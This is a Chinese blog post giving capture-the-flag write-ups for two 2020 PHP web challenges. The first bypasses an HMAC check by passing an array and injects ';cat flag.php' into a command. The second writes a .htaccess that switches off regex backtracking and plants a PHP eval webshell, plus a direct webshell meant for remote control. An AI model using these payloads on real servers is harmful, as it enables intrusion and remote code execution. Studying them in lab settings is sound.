持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第19天,点击查看活动详情
[羊城杯 2020]Blackcat
点开mp3文件,在结尾发现了php源代码;
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('谁!竟敢踩我一只耳的尾巴!');
}
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}
echo exec("nc".$_POST['One-ear']);
首先需要POST参数Black-Cat-Sheriff和One-ear;
getenv()从环境中取字符串,获取环境变量的内容;www.php.cn/php-weiziji…
然后POST参数White-cat-monitor,并且HMAC算法生成哈希值,调用两次;
最后判断生成的哈希值与Black-Cat-Sheriff是否相等;
One-ear需要去获取flag的内容;
1.当传入的$data为数组时,加密得到的结果固定为NULL;
2.如果加密的密钥$key为null的话,生成的哈希值也是我们所知的;
因此令
$White-cat-monitor[]=xino;
令$One-ear=;cat flag.php;
令$Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6
White-cat-monitor[]=xino&Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6&One-ear=;cat flag.php
[羊城杯2020]easyphp
考察:.htaccess解析+命令注入+相关绕过
本题的环境只对index.php文件进行解析,而且在题目源码的开头和末尾都对当前目录下的文件进行了检查,删除除了index.php外的所有文件
者是 .htaccess让当前目录下的所有文件都能解析为php文件
大体过程:通过.htaccess来写马,题目对传入的参数进行了过滤,文件名必须只能带有[a-z.]范围的字符 ,stristr函数则是过滤了on,html,type,flag,upload和file关键字
还有一点,题目只解析index.php
我们可以参考之前出过的一个题目,只能说是大同小异
解题,可以用base64绕过strstr检测
P神文章
文件名写入php://filter需要绕过preg_match函数的检查。第一印象想到preg_match处理数组是会返回NULL,然而这里file_put_contents函数传入的文件名参数不支持数组的形式
mochazz.github.io/2019/01/13/…
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23&filename=.htaccess
通过正则匹配的递归次数来绕过,正则匹配的递归次数由pcre.backtrack_limit参数来控制
PHP5.3.7 版本之前默认值为 10万 ,PHP5.3.7 版本之后默认值为 100万。该值可以通过php.ini设置,也可以通过 phpinfo页面查看。
不适用JIT引擎来匹配正则表达式
.htaccess也可以设置开头自动包含,.htaccess设置php环境变量的格式
#format
php_value setting_name setting_value
#example
php_value auto_prepend_file .htaccess
最终写入内容
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
php_value auto_prepend_file .htaccess
#a<?php eval($_GET[1]); ?>\
Hello, world
简单方法,直接写马,蚁剑连
?filename=index.php&content=<?php eval($_POST['qwzf']); ?>